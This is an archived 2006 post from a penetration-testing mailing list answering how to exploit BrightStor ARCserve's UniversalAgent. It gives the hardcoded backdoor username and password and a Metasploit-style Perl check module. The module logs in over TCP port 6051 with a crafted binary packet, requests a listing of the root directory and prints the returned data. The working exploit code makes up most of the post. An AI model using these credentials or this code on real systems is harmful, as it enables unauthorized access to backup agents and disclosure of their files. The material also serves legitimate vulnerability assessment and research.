Home page logo
/

pen-test logo Penetration Testing mailing list archives

Re: Hacking Arcserver from Nessus reports
From: H D Moore <sflist () digitaloffense net>
Date: Thu, 6 Apr 2006 01:39:51 -0500

On Wednesday 05 April 2006 00:13, joe () pentester-inc net wrote:
The remote host is running UniversalAgent, an agent used by BrightStor
ARCserve to perform backups.

The remote version of this agent contains a default account
with the username '\x02root\x03' and password '\x02<%j8U]`~+Ri\x03'.

Use the ARCServe client software to connect and paste in that password, or 
try the following code:


sub Check {
        my $self = shift;
        my $target_host = $self->GetVar('RHOST');
        my $target_port = 6051;

        my $s = Msf::Socket::Tcp->new
          (
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
          );

        if ($s->IsError) {
                $self->PrintLine('[*] Error creating socket: ' . 
$s->GetError);
                return $self->CheckCode('Connect');
        }

        # user: \x02root\x03
        # pass: \x02<%j8U]`~+Ri\x03

        my $login =
          "\x00\x00\x00\x00\x03\x20\xa8\x02".
          ("\x00" x 176).
          "\xbb\xec\x6e\x58\xc9\xf0\xc2\x0a".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\xd0\xc1\x9e\x8c\xe6\x5e\x18\xbd".
          "\xed\xf8\xe0\xa7\x8a\xcd\x16\xb6".
          "\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
          "\x00\x00\x00\x0e\x00\x00\x00\x01".
          ("\x00" x 160).
          "\x00\x00\x00\x00\x00\x00\x00\x01".
          ("\x00" x 248).
          "\x00\x00\x00\x00\x00\x00\x17\x00";

        $s->Send($login);
        $s->Recv(8, 2);

        my $dumproot =
          "\xff\xff\x0f\x17\x04\x10\x00\x02"."/"."\x00";

        $s->Send($dumproot);
        $s->Recv(8, 2);

        my $res = $s->Recv(-1, 5);
        $s->Close;

        if (index($res, "etc") != -1) {
                $self->PrintLine("[*] The BrightStor Agent backdoor 
account is active");

                print "[DATA]\n".Pex::Text::BufferPerl($res)."\n";
                $res =~ s/[\x00-\0x1f]/ /g;
                print "[RAWD]\n".$res."\n";

                return $self->CheckCode('Confirmed');
        }

        return $self->CheckCode('Unknown');
}

-HD

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault